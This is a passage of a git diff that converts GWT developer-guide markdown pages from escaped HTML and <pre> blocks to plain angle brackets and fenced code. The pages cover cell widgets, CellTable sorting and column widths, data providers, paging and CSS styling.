 Firefox, Chrome, and Safari. (Opera, too, most of the time.) DHTML user interfaces are remarkably quirky, though, so make sure to test your applications thoroughly on every browser.
 
-Whenever possible, GWT defers to browsers' native user interface elements. For example, GWT's [Button](/javadoc/latest/com/google/gwt/user/client/ui/Button.html) widget is a true HTML `&lt;button&gt;`
-rather than a synthetic button-like widget built, say, from a `&lt;div&gt;`. That means that GWT buttons render appropriately in different browsers and on different client
+Whenever possible, GWT defers to browsers' native user interface elements. For example, GWT's [Button](/javadoc/latest/com/google/gwt/user/client/ui/Button.html) widget is a true HTML `<button>`
+rather than a synthetic button-like widget built, say, from a `<div>`. That means that GWT buttons render appropriately in different browsers and on different client
 operating systems. We like the native browser controls because they're fast, accessible, and most familiar to users.
 
 When it comes to styling web applications, [CSS](http://www.w3.org/Style/CSS/) is ideal. So, instead of attempting to encapsulate UI styling behind a
@@ -17,9 +17,9 @@
 **Tip:** If you find a need to implement a browser specific dependency, you can use a [JSNI](DevGuideCodingBasics.html#DevGuideJavaScriptNativeInterface)
 method to retrieve the browser' UserAgent string.
 
-<pre class="prettyprint">
-  public static native String getUserAgent() /*-{
+```
+public static native String getUserAgent() /*-{
      return navigator.userAgent.toLowerCase();
   }-*/
-</pre>
+```
 
diff --git a/src/main/markdown/doc/latest/DevGuideUiCellTable.md b/src/main/markdown/doc/latest/DevGuideUiCellTable.md
index cc11312..9c17240 100644
--- a/src/main/markdown/doc/latest/DevGuideUiCellTable.md
+++ b/src/main/markdown/doc/latest/DevGuideUiCellTable.md
@@ -31,9 +31,9 @@
 
 **Code Example** - The example below adds column sorting support to a CellTable backed by a ListDataProvider.
 
-<pre class="prettyprint">
+```
 /**
- * Entry point classes define &lt;code&gt;onModuleLoad()&lt;/code&gt;.
+ * Entry point classes define <code>onModuleLoad()</code>.
  */
 public class CellTableExample implements EntryPoint {
   // A simple data type that represents a contact.
@@ -48,17 +48,17 @@
   }
 
   // The list of data to display.
-  private static List&lt;Contact&gt; CONTACTS = Arrays.asList(new Contact("John",
+  private static List<Contact> CONTACTS = Arrays.asList(new Contact("John",
       "123 Fourth Road"), new Contact("Mary", "222 Lancer Lane"), new Contact(
       "Zander", "94 Road Street"));
 
   public void onModuleLoad() {
 
     // Create a CellTable.
-    CellTable&lt;Contact&gt; table = new CellTable&lt;Contact&gt;();
+    CellTable<Contact> table = new CellTable<Contact>();
 
     // Create name column.
-    TextColumn&lt;Contact&gt; nameColumn = new TextColumn&lt;Contact&gt;() {
+    TextColumn<Contact> nameColumn = new TextColumn<Contact>() {
       @Override
       public String getValue(Contact contact) {
         return contact.name;
@@ -69,7 +69,7 @@
     nameColumn.setSortable(true);
 
     // Create address column.
-    TextColumn&lt;Contact&gt; addressColumn = new TextColumn&lt;Contact&gt;() {
+    TextColumn<Contact> addressColumn = new TextColumn<Contact>() {
       @Override
       public String getValue(Contact contact) {
         return contact.address;
@@ -81,24 +81,24 @@
     table.addColumn(addressColumn, "Address");
 
     // Create a data provider.
-    ListDataProvider&lt;Contact&gt; dataProvider = new ListDataProvider&lt;Contact&gt;();
+    ListDataProvider<Contact> dataProvider = new ListDataProvider<Contact>();
 
     // Connect the table to the data provider.
     dataProvider.addDataDisplay(table);
 
     // Add the data to the data provider, which automatically pushes it to the
     // widget.
-    List&lt;Contact&gt; list = dataProvider.getList();
+    List<Contact> list = dataProvider.getList();
     for (Contact contact : CONTACTS) {
       list.add(contact);
     }
 
     // Add a ColumnSortEvent.ListHandler to connect sorting to the
     // java.util.List.
-    ListHandler&lt;Contact&gt; columnSortHandler = new ListHandler&lt;Tester.Contact&gt;(
+    ListHandler<Contact> columnSortHandler = new ListHandler<Tester.Contact>(
         list);
     columnSortHandler.setComparator(nameColumn,
-        new Comparator&lt;Tester.Contact&gt;() {
+        new Comparator<Tester.Contact>() {
           public int compare(Contact o1, Contact o2) {
             if (o1 == o2) {
               return 0;
@@ -120,7 +120,7 @@
     RootPanel.get().add(table);
   }
 }
-</pre>
+```
 
 ### ColumnSorting with AsyncDataProvider
 
@@ -133,9 +133,9 @@
 
 **Code Example** - The example below adds column sorting support to a CellTable backed by an AsyncDataProvider.
 
-<pre class="prettyprint">
+```
 /**
- * Entry point classes define &lt;code&gt;onModuleLoad()&lt;/code&gt;.
+ * Entry point classes define <code>onModuleLoad()</code>.
  */
 public class CellTableExample implements EntryPoint {
 
@@ -151,17 +151,17 @@
   }
 
   // The list of data to display.
-  private static List&lt;Contact&gt; CONTACTS = Arrays.asList(new Contact("John",
+  private static List<Contact> CONTACTS = Arrays.asList(new Contact("John",
       "123 Fourth Road"), new Contact("Mary", "222 Lancer Lane"), new Contact(
       "Zander", "94 Road Street"));
 
   public void onModuleLoad() {
 
     // Create a CellTable.
-    final CellTable&lt;Contact&gt; table = new CellTable&lt;Contact&gt;();
+    final CellTable<Contact> table = new CellTable<Contact>();
 
     // Create name column.
-    TextColumn&lt;Contact&gt; nameColumn = new TextColumn&lt;Contact&gt;() {
+    TextColumn<Contact> nameColumn = new TextColumn<Contact>() {
       @Override
       public String getValue(Contact contact) {
         return contact.name;
@@ -172,7 +172,7 @@
     nameColumn.setSortable(true);
 
     // Create address column.
-    TextColumn&lt;Contact&gt; addressColumn = new TextColumn&lt;Contact&gt;() {
+    TextColumn<Contact> addressColumn = new TextColumn<Contact>() {
       @Override
       public String getValue(Contact contact) {
         return contact.address;
@@ -192,9 +192,9 @@
     table.setVisibleRange(0, 3);
 
     // Create a data provider.
-    AsyncDataProvider&lt;Contact&gt; dataProvider = new AsyncDataProvider&lt;Contact&gt;() {
+    AsyncDataProvider<Contact> dataProvider = new AsyncDataProvider<Contact>() {
       @Override
-      protected void onRangeChanged(HasData&lt;Contact&gt; display) {
+      protected void onRangeChanged(HasData<Contact> display) {
         final Range range = display.getVisibleRange();
 
         // Get the ColumnSortInfo from the table.
@@ -210,7 +210,7 @@
             int end = start + range.getLength();
             // This sorting code is here so the example works. In practice, you
             // would sort on the server.
-            Collections.sort(CONTACTS, new Comparator&lt;Tester.Contact&gt;() {
+            Collections.sort(CONTACTS, new Comparator<Tester.Contact>() {
               public int compare(Contact o1, Contact o2) {
                 if (o1 == o2) {
                   return 0;
@@ -224,7 +224,7 @@
                 return sortList.get(0).isAscending() ? diff : -diff;
               }
             });
-            List&lt;Contact&gt; dataInRange = CONTACTS.subList(start, end);
+            List<Contact> dataInRange = CONTACTS.subList(start, end);
 
             // Push the data back into the list.
             table.setRowData(start, dataInRange);
@@ -248,7 +248,7 @@
     RootPanel.get().add(table);
   }
 }
-</pre>
+```
 
 ## Controlling Column Widths<a id="columnWidths"></a>
 
@@ -263,9 +263,9 @@
 
 **Code Example** - The example below creates a CellTable with fixed-width columns that expand to fill the available space.
 
-<pre class="prettyprint">
+```
 /**
- * Entry point classes define &lt;code&gt;onModuleLoad()&lt;/code&gt;.
+ * Entry point classes define <code>onModuleLoad()</code>.
  */
 public class Tester implements EntryPoint {
   // A simple data type that represents a contact.
@@ -280,16 +280,16 @@
   }
 
   // The list of data to display.
-  private static List&lt;Contact&gt; CONTACTS = Arrays.asList(new Contact("John",
+  private static List<Contact> CONTACTS = Arrays.asList(new Contact("John",
       "123 Fourth Road"), new Contact("Mary", "222 Lancer Lane"));
 
   public void onModuleLoad() {
 
     // Create a CellTable.
-    CellTable&lt;Contact&gt; table = new CellTable&lt;Contact&gt;();
+    CellTable<Contact> table = new CellTable<Contact>();
 
     // Create name column.
-    TextColumn&lt;Contact&gt; nameColumn = new TextColumn&lt;Contact&gt;() {
+    TextColumn<Contact> nameColumn = new TextColumn<Contact>() {
       @Override
       public String getValue(Contact contact) {
         return contact.name;
@@ -297,7 +297,7 @@
     };
 
     // Create address column.
-    TextColumn&lt;Contact&gt; addressColumn = new TextColumn&lt;Contact&gt;() {
+    TextColumn<Contact> addressColumn = new TextColumn<Contact>() {
       @Override
       public String getValue(Contact contact) {
         return contact.address;
@@ -326,7 +326,7 @@
     RootPanel.get().add(table);
   }
 }
-</pre>
+```
 
 ### Specify Exact Width of All Columns
 
@@ -337,13 +337,13 @@
 set the width of a column, the column will not be visible. Columns default to
 a width of 0.
 
-<pre class="prettyprint">
-    table.setWidth("auto", true);
+```
+table.setWidth("auto", true);
     table.setColumnWidth(col0, 100.0, Unit.PX);
     table.setColumnWidth(col1, 150.0, Unit.PX);
     table.setColumnWidth(col2, 250.0, Unit.PX);
     table.setColumnWidth(col3, 100.0, Unit.PX);
-</pre>
+```
 
 ### Specify Relative Width of All Columns
 
@@ -355,13 +355,13 @@
 percentages, the percentages should add up to 100%. Failure to do so may result
 in unintended layout issues.
 
-<pre class="prettyprint">
-    table.setWidth("100%", true);
+```
+table.setWidth("100%", true);
     table.setColumnWidth(col0, 10.0, Unit.PCT);
     table.setColumnWidth(col1, 25.0, Unit.PCT);
     table.setColumnWidth(col2, 25.0, Unit.PCT);
     table.setColumnWidth(col3, 40.0, Unit.PCT);
-</pre>
+```
 
 ### Mix Fixed and Relative Column Widths
 
@@ -380,9 +380,10 @@
 add up to 100%. If they do not, then columns specified in pixels will also resize
 with the table in an unpredictable way.
 
-<pre class="prettyprint">
-    table.setWidth("100%", true);
+```
+table.setWidth("100%", true);
     table.setColumnWidth(checkboxCol, 10.0, Unit.PX);
     table.setColumnWidth(nameCol, 35.0, Unit.PCT);
     table.setColumnWidth(descriptionCol, 65.0, Unit.PCT);
-</pre>
+```
+
diff --git a/src/main/markdown/doc/latest/DevGuideUiCellWidgets.md b/src/main/markdown/doc/latest/DevGuideUiCellWidgets.md
index edb9a33..ea44e62 100644
--- a/src/main/markdown/doc/latest/DevGuideUiCellWidgets.md
+++ b/src/main/markdown/doc/latest/DevGuideUiCellWidgets.md
@@ -12,7 +12,10 @@
 flyweight Cell objects. A cell widget can accept data from any type of data source.  The data model handles
 asynchronous updates as well as push updates. When you change the data, the view is automatically updated.
 
-Cells are the basic blocks of a user interface and come in a variety of [available cell types](#available).  They render views of data, interpret browser events and can be selected.  A Cell has a type based on the data that the cell represents;  for example, DatePickerCell is a Cell&lt;Date&gt; that represents a Date and allows the user to select a new Date.  Cells must implement a render method that renders the typed value as an HTML string. In addition, cells can override onBrowserEvent to act as a flyweight that handles events that are fired on elements that were rendered by the cell. 
+Cells are the basic blocks of a user interface and come in a variety of [available cell types]
+(#available).  They render views of data, interpret browser events and can be selected.  A Cell has
+a type based on the data that the cell represents;  for example, DatePickerCell is a `Cell<Date>`
+that represents a Date and allows the user to select a new Date.  Cells must implement a render method that renders the typed value as an HTML string. In addition, cells can override onBrowserEvent to act as a flyweight that handles events that are fired on elements that were rendered by the cell.
 
 For example, in the [CellList example](http://samples.gwtproject.org/samples/Showcase/Showcase.html#!CwCellList) of the Showcase, every selectable data record is rendered by a single Cell instance. Notice that the data that a single cell represents can be a composition of different data fields from the data source. In this example, the cell holds data of type ContactInfo, which represents a contact, including name, address and picture.
 
@@ -54,9 +57,15 @@
 
 ### Creating a CellList and Setting Data<a id="celllist"></a>
 
-CellList is the simplest cell widget, where data is rendered using cells of the same type in a list.  For instance, you can create a CellList&lt;String&gt; that uses a Cell&lt;String&gt; to render a list of Strings. For a fancier list view, you can create a custom cell, described at [Creating a Custom Cell](#custom-cell).
+CellList is the simplest cell widget, where data is rendered using cells of the same type in a
+list.  For instance, you can create a `CellList<String>` that uses a `Cell<String>` to render
+a list of Strings. For a fancier list view, you can create a custom cell, described at
+[Creating a Custom Cell](#custom-cell).
 
-**Demo** - [CwCellList example](http://samples.gwtproject.org/samples/Showcase/Showcase.html#!CwCellList) shows a CellList&lt;ContactInfo&gt; (on the left). Each list item is a custom type ContactCell&lt;ContactInfo&gt;.  The right-hand widget is a normal Composite widget that renders the data for a selected contact.
+**Demo** - [CwCellList example](http://samples.gwtproject.org/samples/Showcase/Showcase
+.html#!CwCellList) shows a `CellList<ContactInfo>` (on the left). Each list item is a custom
+type `ContactCell<ContactInfo>`.  The right-hand widget is a normal Composite widget that
+renders the data for a selected contact.
 
 **To Create a CellList:**
 
@@ -71,14 +80,14 @@
 
 The following code is a very simple example that creates a CellList widget containing a single TextCell and sets data from the data source.  The list shows names.
 
-<pre class="prettyprint">
+```
 /**
  * Example of {@link CellList}. This example shows a list of the days of the week.
  */
 public class CellListExample implements EntryPoint {
 
   // The list of data to display.
-  private static final List&lt;String&gt; DAYS = Arrays.asList("Sunday", "Monday",
+  private static final List<String> DAYS = Arrays.asList("Sunday", "Monday",
       "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday");
 
   public void onModuleLoad() {
@@ -86,7 +95,7 @@
     TextCell textCell = new TextCell();
 
     // Create a CellList that uses the cell.
-    CellList&lt;String&gt; cellList = new CellList&lt;String&gt;(textCell);
+    CellList<String> cellList = new CellList<String>(textCell);
 
     // Set the total row count. This isn't strictly necessary, but it affects
     // paging calculations, so its good habit to keep the row count up to date.
@@ -99,7 +108,7 @@
     RootPanel.get().add(cellList);
   }
 }
-</pre>
+```
 
 You can add a SelectionModel to a CellList, as shown in the [SelectionModel example](#selection) below.
 
@@ -110,7 +119,9 @@
 A Header represents either a header or a footer in a table. A table can have a header and footer for each column.
 A Header can span multiple columns if adjacent headers are equal (==) to each other.
 
-**Demo** - [CwCellTable example](http://samples.gwtproject.org/samples/Showcase/Showcase.html#!CwCellTable) shows a CellTable&lt;ContactInfo&gt;. Each row item has 5 columns rendered respectively as a CheckboxCell, EditTextCell, EditTextCell, SelectionCell and TextCell.
+**Demo** - [CwCellTable example](http://samples.gwtproject.org/samples/Showcase/Showcase.html#!CwCellTable)
+shows a `CellTable<ContactInfo>`. Each row item has 5 columns rendered
+respectively as a CheckboxCell, EditTextCell, EditTextCell, SelectionCell and TextCell.
 
 **To Create a CellTable:**
 
@@ -127,7 +138,7 @@
 
 **Code Example** - The example below is a pared-down version of [CellTableExample.java](https://gwt.googlesource.com/gwt/+/master/user/javadoc/com/google/gwt/examples/cellview/CellTableExample.java)
 
-<pre class="prettyprint">
+```
 /**
  * Example of {@link CellTable} of contacts having a name and address.
  */
@@ -145,17 +156,17 @@
   }
 
   // The list of data to display.
-  private static List&lt;Contact&gt; CONTACTS = Arrays.asList(
+  private static List<Contact> CONTACTS = Arrays.asList(
     new Contact("John", "123 Fourth Road"),
     new Contact("Mary", "222 Lancer Lane"));
 
   public void onModuleLoad() {
 
     // Create a CellTable.
-    CellTable&lt;Contact&gt; table = new CellTable&lt;Contact&gt;();
+    CellTable<Contact> table = new CellTable<Contact>();
 
     // Create name column.
-    TextColumn&lt;Contact&gt; nameColumn = new TextColumn&lt;Contact&gt;() {
+    TextColumn<Contact> nameColumn = new TextColumn<Contact>() {
       @Override
       public String getValue(Contact contact) {
         return contact.name;
@@ -163,7 +174,7 @@
     };
 
     // Create address column.
-    TextColumn&lt;Contact&gt; addressColumn = new TextColumn&lt;Contact&gt;() {
+    TextColumn<Contact> addressColumn = new TextColumn<Contact>() {
       @Override
       public String getValue(Contact contact) {
         return contact.address;
@@ -185,7 +196,7 @@
     RootPanel.get().add(table);
   }
 }
-</pre>
+```
 
 You can add a SelectionModel to a CellTable, as shown in the [SelectionModel example](#selection) below.
 
@@ -214,7 +225,7 @@
 
 **Code Example #2** - For a real-world example of CellTree, see [CellTreeExample2.java](https://gwt.googlesource.com/gwt/+/master/user/javadoc/com/google/gwt/examples/cellview/CellTreeExample2.java).
 
-<pre class="prettyprint">
+```
 /**
  * Example of {@link CellTree}.  Shows a Tree consisting of strings.
  */
@@ -224,22 +235,22 @@
   private static class CustomTreeModel implements TreeViewModel {
 
     // Get the NodeInfo that provides the children of the specified value.
-    public &lt;T&gt; NodeInfo&lt;?&gt; getNodeInfo(T value) {
+    public <T> NodeInfo<?> getNodeInfo(T value) {
 
       // Create some data in a data provider. Use the parent value as a prefix for the next level.
-      ListDataProvider&lt;String&gt; dataProvider = new ListDataProvider&lt;String&gt;();
-      for (int i = 0; i &lt; 2; i++) {
+      ListDataProvider<String> dataProvider = new ListDataProvider<String>();
+      for (int i = 0; i < 2; i++) {
         dataProvider.getList().add(value + "." + String.valueOf(i));
       }
 
       // Return a node info that pairs the data with a cell.
-      return new DefaultNodeInfo&lt;String&gt;(dataProvider, new TextCell());
+      return new DefaultNodeInfo<String>(dataProvider, new TextCell());
     }
 
     // Check if the specified value represents a leaf node. Leaf nodes cannot be opened.
     public boolean isLeaf(Object value) {
       // The maximum length of a value is ten characters.
-      return value.toString().length() &gt; 10;
+      return value.toString().length() > 10;
     }
   }
 
@@ -255,7 +266,7 @@
     RootLayoutPanel.get().add(tree);
   }
 }
-</pre>
+```
 
 When you instantiate a CellTree, you must pass in an instance of a concrete class that implements interface [TreeViewModel](/javadoc/latest/com/google/gwt/view/client/TreeViewModel.html).  This concrete class gets and organizes the data into a hierarchy in the implementation of method getNodeInfo(value).  When a tree node is opened, the tree calls [getNodeInfo(value)](/javadoc/latest/com/google/gwt/view/client/TreeViewModel.html#getNodeInfo(T)) to get the data provider and Cell used to render the child nodes.
 
@@ -271,10 +282,10 @@
 
 *   Follow the above procedure for CellTree, but change the CellTree constructor to CellBrowser, as follows:
 
-<pre class="prettyprint">
-    // Create the browser using the model.
+```
+// Create the browser using the model.
     CellBrowser browser = new CellBrowser(model, "Item 1");
-</pre>
+```
 
 **Code Example #1** - For a simple example of CellBrowser, see [CellBrowerExample.java](https://gwt.googlesource.com/gwt/+/master/user/javadoc/com/google/gwt/examples/cellview/CellBrowserExample.java). 
 
@@ -311,7 +322,7 @@
 </dt>
 
 <dd>
-[ActionCell&lt;C&gt;](/javadoc/latest/com/google/gwt/cell/client/ActionCell.html) - A button that takes a delegate to perform actions on mouseUp
+[ActionCell](/javadoc/latest/com/google/gwt/cell/client/ActionCell.html) - A button that takes a delegate to perform actions on mouseUp
 </dd>
 
 <dd>
@@ -367,7 +378,7 @@
 </dt>
 
 <dd>
-[CompositeCell&lt;C&gt;](/javadoc/latest/com/google/gwt/cell/client/CompositeCell.html) - A composition of multiple Cells.
+[CompositeCell](/javadoc/latest/com/google/gwt/cell/client/CompositeCell.html) - A composition of multiple Cells.
 </dd>
 
 <dt id="decorator-cells">
@@ -375,7 +386,7 @@
 </dt>
 
 <dd>
-[IconCellDecorator&lt;C&gt;](/javadoc/latest/com/google/gwt/cell/client/IconCellDecorator.html) - A decorator that adds an icon to another Cell
+[IconCellDecorator](/javadoc/latest/com/google/gwt/cell/client/IconCellDecorator.html) - A decorator that adds an icon to another Cell
 </dd>
 
 </dl>
@@ -385,7 +396,10 @@
 If you want more control, you can subclass AbstractCell, or you can implement the Cell interface directly to define how your Cell is rendered and how it responds to events.  See
 the instructions in the [Creating Custom Cells Dev Guide](DevGuideUiCustomCells.html) for detailed information.
 
-**Demo** - [CwCellList example](http://samples.gwtproject.org/samples/Showcase/Showcase.html#!CwCellList) shows a CellList&lt;ContactInfo&gt; (on the left). Each list item is a custom type ContactCell&lt;ContactInfo&gt;.  The right-hand widget is a normal Composite widget that renders the data for a selected contact.
+**Demo** - [CwCellList example](http://samples.gwtproject.org/samples/Showcase/Showcase
+.html#!CwCellList) shows a `CellList<ContactInfo>`(on the left). Each list item is a custom
+type `ContactCell<ContactInfo>`.  The right-hand widget is a normal Composite widget that
+renders the data for a selected contact.
 
 ## Selection, Data and Paging<a id="Selection_Data_Paging"></a>
 
@@ -413,14 +427,14 @@
 
 **Code Example** - The example of SelectionModel below is available at [CellListExample.java](https://gwt.googlesource.com/gwt/+/master/user/javadoc/com/google/gwt/examples/cellview/CellListExample.java).
 
-<pre class="prettyprint">
+```
 /**
  * Example of {@link CellList}. This example shows a list of the days of the week.
  */
 public class CellListExample implements EntryPoint {
 
   // The list of data to display.
-  private static final List&lt;String&gt; DAYS = Arrays.asList("Sunday", "Monday",
+  private static final List<String> DAYS = Arrays.asList("Sunday", "Monday",
       "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday");
 
   public void onModuleLoad() {
@@ -428,11 +442,11 @@
     TextCell textCell = new TextCell();
 
     // Create a CellList that uses the cell.
-    CellList&lt;String&gt; cellList = new CellList&lt;String&gt;(textCell);
+    CellList<String> cellList = new CellList<String>(textCell);
     cellList.setKeyboardSelectionPolicy(KeyboardSelectionPolicy.ENABLED);
 
     // Add a selection model to handle user selection.
-    final SingleSelectionModel&lt;String&gt; selectionModel = new SingleSelectionModel&lt;String&gt;();
+    final SingleSelectionModel<String> selectionModel = new SingleSelectionModel<String>();
     cellList.setSelectionModel(selectionModel);
     selectionModel.addSelectionChangeHandler(new SelectionChangeEvent.Handler() {
       public void onSelectionChange(SelectionChangeEvent event) {
@@ -454,7 +468,7 @@
     RootPanel.get().add(cellList);
   }
 }
-</pre>
+```
 
 **Keys**
 
@@ -464,7 +478,7 @@
 
 **Code Example** - The example of KeyProvider below is available at [KeyProviderExample.java](https://gwt.googlesource.com/gwt/+/master/user/javadoc/com/google/gwt/examples/view/KeyProviderExample.java).
 
-<pre class="prettyprint">
+```
 /**
   * Example of using a {@link ProvidesKey}.
   */
@@ -539,7 +553,7 @@
     RootPanel.get().add(cellList);
   }
 }
-</pre>
+```
 
 ### Providing Dynamic Data<a id="data-provider"></a>
 
@@ -568,13 +582,13 @@
 
 **Code Example** - The example below updates the view through a ListDataProvider.
 
-<pre class="prettyprint">
+```
 /**
- * Entry point classes define &lt;code&gt;onModuleLoad()&lt;/code&gt;.
+ * Entry point classes define <code>onModuleLoad()</code>.
  */
 public class CellListExample implements EntryPoint {
   // The list of data to display.
-  private static final List&lt;String&gt; DAYS = Arrays.asList("Sunday", "Monday",
+  private static final List<String> DAYS = Arrays.asList("Sunday", "Monday",
       "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday");
 
   public void onModuleLoad() {
@@ -582,14 +596,14 @@
     TextCell textCell = new TextCell();
 
     // Create a CellList that uses the cell.
-    CellList&lt;String&gt; cellList = new CellList&lt;String&gt;(textCell);
+    CellList<String> cellList = new CellList<String>(textCell);
 
     // Set the range to display. In this case, our visible range is smaller than
     // the data set.
     cellList.setVisibleRange(1, 3);
 
     // Create a data provider.
-    ListDataProvider&lt;String&gt; dataProvider = new ListDataProvider&lt;String&gt;();
+    ListDataProvider<String> dataProvider = new ListDataProvider<String>();
     
     // Connect the list to the data provider.
     dataProvider.addDataDisplay(cellList);
@@ -597,7 +611,7 @@
     // Add the data to the data provider, which automatically pushes it to the
     // widget. Our data provider will have seven values, but it will only push
     // the four that are in range to the list.
-    List&lt;String&gt; list = dataProvider.getList();
+    List<String> list = dataProvider.getList();
     for (String day : DAYS) {
       list.add(day);
     }
@@ -606,7 +620,7 @@
     RootPanel.get().add(cellList);
   }
 }
-</pre>
+```
 
 ### AsyncDataProvider<a id="async-data-provider"></a>
 
@@ -625,13 +639,13 @@
 
 **Code Example** - The example below updates the view through a AsyncDataProvider.
 
-<pre class="prettyprint">
+```
 /**
- * Entry point classes define &lt;code&gt;onModuleLoad()&lt;/code&gt;.
+ * Entry point classes define <code>onModuleLoad()</code>.
  */
 public class CellListExample implements EntryPoint {
   // The list of data to display.
-  private static final List&lt;String&gt; DAYS = Arrays.asList("Sunday", "Monday",
+  private static final List<String> DAYS = Arrays.asList("Sunday", "Monday",
       "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday");
 
   public void onModuleLoad() {
@@ -639,7 +653,7 @@
     TextCell textCell = new TextCell();
 
     // Create a CellList that uses the cell.
-    final CellList&lt;String&gt; cellList = new CellList&lt;String&gt;(textCell);
+    final CellList<String> cellList = new CellList<String>(textCell);
 
     // Set the total row count. You might send an RPC request to determine the
     // total row count.
@@ -650,9 +664,9 @@
     cellList.setVisibleRange(1, 3);
 
     // Create a data provider.
-    AsyncDataProvider&lt;String&gt; dataProvider = new AsyncDataProvider&lt;String&gt;() {
+    AsyncDataProvider<String> dataProvider = new AsyncDataProvider<String>() {
       @Override
-      protected void onRangeChanged(HasData&lt;String&gt; display) {
+      protected void onRangeChanged(HasData<String> display) {
         final Range range = display.getVisibleRange();
 
         // This timer is here to illustrate the asynchronous nature of this data
@@ -663,7 +677,7 @@
           public void run() {
             int start = range.getStart();
             int end = start + range.getLength();
-            List&lt;String&gt; dataInRange = DAYS.subList(start, end);
+            List<String> dataInRange = DAYS.subList(start, end);
 
             // Push the data back into the list.
             cellList.setRowData(start, dataInRange);
@@ -679,7 +693,7 @@
     RootPanel.get().add(cellList);
   }
 }
-</pre>
+```
 
 ### Custom Data Source<a id="custom-data-provider"></a>
 
@@ -690,7 +704,7 @@
 
 **Code Example** - The example below handlers RangeChangeEvents from the view and pushes new data based on the new range.
 
-<pre class="prettyprint">
+```
 /**
  * Example of using a {@link RangeChangeEvent.Handler} to push data into a
  * {@link CellList} when the range changes.
@@ -736,7 +750,7 @@
     RootPanel.get().add(vPanel);
   }
 }
-</pre>
+```
 
 ## Adding Paging Controls<a id="paging"></a>
 
@@ -754,7 +768,7 @@
 2.  Assign the SimplePager to the cell widget you want to control using [setDisplay(HasRows)](/javadoc/latest/com/google/gwt/user/cellview/client/SimplePager.html#setDisplay(com.google.gwt.view.client.HasRows)).
 3.  Add the SimplePager instance to the panel.
 
-<pre class="prettyprint">
+```
 /**
  * Example of {@link SimplePager}.
  */
@@ -762,12 +776,12 @@
 
   public void onModuleLoad() {
     // Create a CellList.
-    CellList&lt;String> cellList = new CellList&lt;String>(new TextCell());
+    CellList<String> cellList = new CellList<String>(new TextCell());
 
     // Add a cellList to a data provider.
-    ListDataProvider&lt;String> dataProvider = new ListDataProvider&lt;String>();
-    List&lt;String> data = dataProvider.getList();
-    for (int i = 0; i &lt; 200; i++) {
+    ListDataProvider<String> dataProvider = new ListDataProvider<String>();
+    List<String> data = dataProvider.getList();
+    for (int i = 0; i < 200; i++) {
       data.add("Item " + i);
     }
     dataProvider.addDataDisplay(cellList);
@@ -784,7 +798,8 @@
     vPanel.add(cellList);
     RootPanel.get().add(vPanel);
   }
-}</pre>
+}
+```
 
 **To Add Custom Paging Controls to a Cell Widget:**
 
@@ -799,7 +814,7 @@
 In most applications, the user takes actions in the user interface that should update the application's current state or send data back to the database (or data source).  These user actions might be clicking a checkbox, pressing a button, or entering text into a field and pressing "Save". 
 
 This process varies slightly for a CellList, CellTree,
-<!-- <span style="color: red;">doog3: how does it work for CellTree?</span> --> and CellTable, as described below.
+<!-- <span style="color: red;">doog3: how does it work for CellTree? --> and CellTable, as described below.
 
 NOTE: In the case of ButtonCell, the value (the button text) doesn't actually change.  Instead, ValueUpdater serves the purpose of informing external code of a change or an important action, such as a click.
 
@@ -820,7 +835,8 @@
 
 **Code Example - ValueUpdater**
 
-<pre class="prettyprint">
+```
+
 /**
  * Example of using a {@link ValueUpdater} with a {@link CellList}.
  */
@@ -829,7 +845,7 @@
   /**
    * The list of data to display.
    */
-  private static final List&lt;String&gt; DAYS = Arrays.asList("Sunday", "Monday",
+  private static final List<String> DAYS = Arrays.asList("Sunday", "Monday",
       "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday");
 
   public void onModuleLoad() {
@@ -837,10 +853,10 @@
     TextInputCell inputCell = new TextInputCell();
 
     // Create a CellList that uses the cell.
-    CellList&lt;String&gt; cellList = new CellList&lt;String&gt;(inputCell);
+    CellList<String> cellList = new CellList<String>(inputCell);
 
     // Create a value updater that will be called when the value in a cell changes.
-    ValueUpdater&lt;String&gt; valueUpdater = new ValueUpdater&lt;String&gt;() {
+    ValueUpdater<String> valueUpdater = new ValueUpdater<String>() {
       public void update(String newValue) {
         Window.alert("You typed: " + newValue);
       }
@@ -860,7 +876,7 @@
     RootPanel.get().add(cellList);
   }
 }
-</pre>
+```
 
 #### Updating a Database From a CellTable<a id="updating-from-celltable"></a>
 
@@ -874,7 +890,7 @@
 
 **Code Example** - An example is available at [CellTableFieldUpdaterExample.java](https://gwt.googlesource.com/gwt/+/master/user/javadoc/com/google/gwt/examples/cellview/CellTableFieldUpdaterExample.java).
 
-<pre class="prettyprint">
+```
 /**
  * Example of using a {@link FieldUpdater} with a {@link CellTable}.
  */
@@ -953,4 +969,4 @@
     RootPanel.get().add(table);
   }
 }
-</pre>
+```
diff --git a/src/main/markdown/doc/latest/DevGuideUiCss.md b/src/main/markdown/doc/latest/DevGuideUiCss.md
index d0afc7f..39fce8b 100644
--- a/src/main/markdown/doc/latest/DevGuideUiCss.md
+++ b/src/main/markdown/doc/latest/DevGuideUiCss.md
@@ -11,14 +11,14 @@
 GWT widgets rely on cascading style sheets (CSS) for visual styling.
 
 In GWT, each class of widget has an associated style name that binds it to a CSS rule. Furthermore, you can assign an id to a particular component to create a CSS rule that
-applies just to that one component. By default, the class name for each component is `gwt-&lt;classname&gt;`. For example, the [Button widget](/javadoc/latest/com/google/gwt/user/client/ui/Button.html) has a default style of
+applies just to that one component. By default, the class name for each component is `gwt-<classname>`. For example, the [Button widget](/javadoc/latest/com/google/gwt/user/client/ui/Button.html) has a default style of
 `gwt-Button`.
 
 In order to give all buttons a larger font, you could put the following rule in your application's CSS file:
 
-<pre>
-  .gwt-Button { font-size: 150%; }
-</pre>
+```
+.gwt-Button { font-size: 150%; }
+```
 
 All of the widgets created with the GWT toolkit will have a default class name, but a widget's style name can be set using [setStyleName()](/javadoc/latest/com/google/gwt/user/client/ui/UIObject.html#setStyleName(java.lang.String)).
 Static elements can have their class set in the HTML source code for your application.
@@ -26,31 +26,31 @@
 Another way to use style sheets is to refer to a single widget. For that, you would need to know the value of the `id` attribute for the widget or DOM element.
 
 By default, neither the browser nor GWT creates default `id` attributes for widgets. You must explicitly create an `id` for the elements you want to refer to in
-this manner, and you must insure that each &quot;id&quot; value is unique. A common way to do this is to set them on static elements in your [HTML host page](DevGuideOrganizingProjects.html#DevGuideHostPage)
+this manner, and you must insure that each "id" value is unique. A common way to do this is to set them on static elements in your [HTML host page](DevGuideOrganizingProjects.html#DevGuideHostPage)
 
